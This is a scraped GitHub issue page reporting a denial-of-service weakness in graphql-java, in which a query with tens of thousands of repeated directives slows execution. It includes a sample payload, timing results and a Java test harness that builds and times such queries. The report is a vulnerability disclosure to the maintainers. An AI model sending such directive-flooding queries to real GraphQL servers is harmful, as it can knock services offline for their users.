René's URL Explorer Experiment


Title: Denial of Service via Directive overloading · Issue #2888 · graphql-java/graphql-java · GitHub

Open Graph Title: Denial of Service via Directive overloading · Issue #2888 · graphql-java/graphql-java

X Title: Denial of Service via Directive overloading · Issue #2888 · graphql-java/graphql-java

Description: Hello team, I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). Query example: query {__typename @aa} I get errors by implemented...

Open Graph Description: Hello team, I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). Query example: query {__t...

X Description: Hello team, I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). Query example: query ...

Opengraph URL: https://github.com/graphql-java/graphql-java/issues/2888

X: @github

direct link

Domain: github.com


Hey, it has json ld scripts:
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Denial of Service via Directive overloading","articleBody":"Hello team,\r\nI've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). \r\nQuery example:\r\n\r\n```\r\nquery {__typename @aa}\r\n```\r\n\r\nI get errors by implemented security mechanisms, but these mechanisms don't help in this case:\r\n- https://github.com/graphql-java/graphql-java/pull/2549\r\n- https://github.com/graphql-java/graphql-java/pull/2553\r\n\r\nMaxQueryDepthInstrumentation and MaxQueryComplexityInstrumentation don't solve the issue as well.\r\n\r\n\r\nQuery execution time increases by adding more directives:\r\n```\r\n5000 directives: 445 ms\r\n10000 directives: 732 ms\r\n15000 directives: 1164 ms\r\n20000 directives: 1671 ms\r\n25000 directives: 2159 ms\r\n30000 directives: 2661 ms\r\n35000 directives: 3171 ms\r\n40000 directives: 3687 ms\r\n45000 directives: 4224 ms\r\n50000 directives: 4711 ms\r\n55000 directives: 5227 ms\r\n60000 directives: 5749 ms\r\n65000 directives: 6297 ms\r\n70000 directives: 6788 ms\r\n```\r\n\r\nThe code snippet for testing:\r\n```java\r\nimport graphql.ExecutionInput;\r\nimport graphql.ExecutionResult;\r\nimport graphql.GraphQL;\r\nimport graphql.schema.GraphQLSchema;\r\nimport graphql.schema.StaticDataFetcher;\r\nimport graphql.schema.idl.RuntimeWiring;\r\nimport graphql.schema.idl.SchemaGenerator;\r\nimport graphql.schema.idl.SchemaParser;\r\nimport graphql.schema.idl.TypeDefinitionRegistry;\r\n\r\nimport static graphql.schema.idl.RuntimeWiring.newRuntimeWiring;\r\n\r\npublic class HelloWorld {\r\n\r\n    static Integer STEP = 5000;\r\n    static Integer CHECKS_AMOUNT = 15;\r\n\r\n    public static void main(String[] args) {\r\n        String schema = \"type Query{hello: String}\";\r\n\r\n        SchemaParser schemaParser = new SchemaParser();\r\n        TypeDefinitionRegistry typeDefinitionRegistry = schemaParser.parse(schema);\r\n\r\n        RuntimeWiring runtimeWiring = newRuntimeWiring()\r\n                .type(\"Query\", builder -\u003e builder.dataFetcher(\"hello\", new StaticDataFetcher(\"world\")))\r\n                .build();\r\n\r\n        SchemaGenerator schemaGenerator = new SchemaGenerator();\r\n        GraphQLSchema graphQLSchema = schemaGenerator.makeExecutableSchema(typeDefinitionRegistry, runtimeWiring);\r\n\r\n        GraphQL build = GraphQL.newGraphQL(graphQLSchema).build();\r\n\r\n        String payload = \"@aa\";\r\n\r\n        for (int i = 1; i \u003c CHECKS_AMOUNT; i++) {\r\n\r\n            String query = \"query {__typename \" + payload.repeat(i * STEP) + \"}\";\r\n            ExecutionInput executionInput = ExecutionInput.newExecutionInput().query(query).build();\r\n\r\n            long startTime = System.nanoTime();\r\n\r\n            ExecutionResult executionResult = build.execute(executionInput);\r\n\r\n            long endTime = System.nanoTime();\r\n            long duration = (endTime - startTime);\r\n\r\n            System.out.println(String.format(\"%d directives: %d ms\", i* STEP, duration / 1000000));\r\n        }\r\n    }\r\n}\r\n```\r\n","author":{"url":"https://github.com/act1on3","@type":"Person","name":"act1on3"},"datePublished":"2022-07-18T10:11:37.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":6},"url":"https://github.com/2888/graphql-java/issues/2888"}

route-pattern/_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format)
route-controllervoltron_issues_fragments
route-actionissue_layout
fetch-noncev2:e5cd498e-68a8-e9be-c0d9-93e664acb3e3
current-catalog-service-hash81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114
request-idCD0A:8E369:A0B7A4:D0072C:6A600907
html-safe-noncea26c38c837017657857bcd2bfb79f9d9119831e3302fabc97ddc800d5218f969
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDRDBBOjhFMzY5OkEwQjdBNDpEMDA3MkM6NkE2MDA5MDciLCJ2aXNpdG9yX2lkIjoiODAwOTI4NDIzODMyMjk2MDY0NyIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9
visitor-hmacad4797ad434e29a460ac40db65b4b190d84ad8e41bdbf59bc8fe7d9ccf8f0888
hovercard-subject-tagissue:1307718616
github-keyboard-shortcutsrepository,issues,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///voltron/issues_fragments/issue_layout
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/graphql-java/graphql-java/2888/issue_layout
twitter:imagehttps://opengraph.githubassets.com/b55716ae41b03ccc6ad62d861515703927ce46aa8c51c6c036da7793d59a0cb8/graphql-java/graphql-java/issues/2888
twitter:cardsummary_large_image
og:imagehttps://opengraph.githubassets.com/b55716ae41b03ccc6ad62d861515703927ce46aa8c51c6c036da7793d59a0cb8/graphql-java/graphql-java/issues/2888
og:image:altHello team, I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). Query example: query {__t...
og:image:width1200
og:image:height600
og:site_nameGitHub
og:typeobject
og:author:usernameact1on3
hostnamegithub.com
expected-hostnamegithub.com
None5789899e92b20db289de946d86eb20bf5c9626276695d68f58a8c47cdda699b7
turbo-cache-controlno-preview
go-importgithub.com/graphql-java/graphql-java git https://github.com/graphql-java/graphql-java.git
octolytics-dimension-user_id14289921
octolytics-dimension-user_logingraphql-java
octolytics-dimension-repository_id38602457
octolytics-dimension-repository_nwographql-java/graphql-java
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id38602457
octolytics-dimension-repository_network_root_nwographql-java/graphql-java
turbo-body-classeslogged-out env-production page-responsive
disable-turbofalse
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
release6ddc048ddf80664b9b33547b619db10313c482f1
ui-targetfull
theme-color#1e2327
color-schemelight dark

Links:

Skip to contenthttps://github.com/graphql-java/graphql-java/issues/2888#start-of-content
https://github.com/
Sign in https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fgraphql-java%2Fgraphql-java%2Fissues%2F2888
GitHub CopilotWrite better code with AIhttps://github.com/features/copilot
GitHub Copilot appDirect agents from issue to mergehttps://github.com/features/ai/github-app
MCP RegistryNewIntegrate external toolshttps://github.com/mcp
ActionsAutomate any workflowhttps://github.com/features/actions
CodespacesInstant dev environmentshttps://github.com/features/codespaces
IssuesPlan and track workhttps://github.com/features/issues
Code ReviewManage code changeshttps://github.com/features/code-review
Code QualityEnforce quality at mergehttps://github.com/features/code-quality
GitHub Advanced SecurityFind and fix vulnerabilitieshttps://github.com/security/advanced-security
Code securitySecure your code as you buildhttps://github.com/security/advanced-security/code-security
Secret protectionStop leaks before they starthttps://github.com/security/advanced-security/secret-protection
Why GitHubhttps://github.com/why-github
Documentationhttps://docs.github.com
Bloghttps://github.blog
Changeloghttps://github.blog/changelog
Marketplacehttps://github.com/marketplace
View all featureshttps://github.com/features
Enterpriseshttps://github.com/enterprise
Small and medium teamshttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
App Modernizationhttps://github.com/solutions/use-case/app-modernization
DevSecOpshttps://github.com/solutions/use-case/devsecops
DevOpshttps://github.com/solutions/use-case/devops
CI/CDhttps://github.com/solutions/use-case/ci-cd
View all use caseshttps://github.com/solutions/use-case
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
View all industrieshttps://github.com/solutions/industry
View all solutionshttps://github.com/solutions
AIhttps://github.com/resources/articles?topic=ai
Software Developmenthttps://github.com/resources/articles?topic=software-development
DevOpshttps://github.com/resources/articles?topic=devops
Securityhttps://github.com/resources/articles?topic=security
View all topicshttps://github.com/resources/articles
Customer storieshttps://github.com/customer-stories
Events & webinarshttps://github.com/resources/events
Ebooks & reportshttps://github.com/resources/whitepapers
Business insightshttps://github.com/solutions/executive-insights
GitHub Skillshttps://skills.github.com
Documentationhttps://docs.github.com
Customer supporthttps://support.github.com
Community forumhttps://github.com/orgs/community/discussions
Trust centerhttps://github.com/trust-center
Partnershttps://github.com/partners
View all resourceshttps://github.com/resources
GitHub SponsorsFund open source developershttps://github.com/open-source/sponsors
Security Labhttps://securitylab.github.com
Maintainer Communityhttps://maintainers.github.com
Acceleratorhttps://github.com/open-source/accelerator
GitHub Starshttps://stars.github.com
Archive Programhttps://archiveprogram.github.com
Topicshttps://github.com/topics
Trendinghttps://github.com/trending
Collectionshttps://github.com/collections
Enterprise platformAI-powered developer platformhttps://github.com/enterprise
GitHub Advanced SecurityEnterprise-grade security featureshttps://github.com/security/advanced-security
Copilot for BusinessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Pricinghttps://github.com/pricing
Search syntax tipshttps://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax
documentationhttps://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax
Sign in https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fgraphql-java%2Fgraphql-java%2Fissues%2F2888
Sign up https://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fvoltron%2Fissues_fragments%2Fissue_layout&source=header-repo&source_repo=graphql-java%2Fgraphql-java
Reloadhttps://github.com/graphql-java/graphql-java/issues/2888
Reloadhttps://github.com/graphql-java/graphql-java/issues/2888
Reloadhttps://github.com/graphql-java/graphql-java/issues/2888
Please reload this pagehttps://github.com/graphql-java/graphql-java/issues/2888
graphql-java https://github.com/graphql-java
graphql-javahttps://github.com/graphql-java/graphql-java
Notifications https://github.com/login?return_to=%2Fgraphql-java%2Fgraphql-java
Fork 1.1k https://github.com/login?return_to=%2Fgraphql-java%2Fgraphql-java
Star 6.2k https://github.com/login?return_to=%2Fgraphql-java%2Fgraphql-java
Code https://github.com/graphql-java/graphql-java
Issues 26 https://github.com/graphql-java/graphql-java/issues
Pull requests 11 https://github.com/graphql-java/graphql-java/pulls
Discussions https://github.com/graphql-java/graphql-java/discussions
Actions https://github.com/graphql-java/graphql-java/actions
Projects https://github.com/graphql-java/graphql-java/projects
Wiki https://github.com/graphql-java/graphql-java/wiki
Security and quality 0 https://github.com/graphql-java/graphql-java/security
Insights https://github.com/graphql-java/graphql-java/pulse
Code https://github.com/graphql-java/graphql-java
Issues https://github.com/graphql-java/graphql-java/issues
Pull requests https://github.com/graphql-java/graphql-java/pulls
Discussions https://github.com/graphql-java/graphql-java/discussions
Actions https://github.com/graphql-java/graphql-java/actions
Projects https://github.com/graphql-java/graphql-java/projects
Wiki https://github.com/graphql-java/graphql-java/wiki
Security and quality https://github.com/graphql-java/graphql-java/security
Insights https://github.com/graphql-java/graphql-java/pulse
Denial of Service via Directive overloadinghttps://github.com/graphql-java/graphql-java/issues/2888#top
19.0https://github.com/graphql-java/graphql-java/milestone/38
https://github.com/act1on3
act1on3https://github.com/act1on3
on Jul 18, 2022https://github.com/graphql-java/graphql-java/issues/2888#issue-1307718616
Help prevent DOS attacks on graphql servers #2549https://github.com/graphql-java/graphql-java/pull/2549
Support Max validation errors being produced #2553https://github.com/graphql-java/graphql-java/pull/2553
19.0https://github.com/graphql-java/graphql-java/milestone/38
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.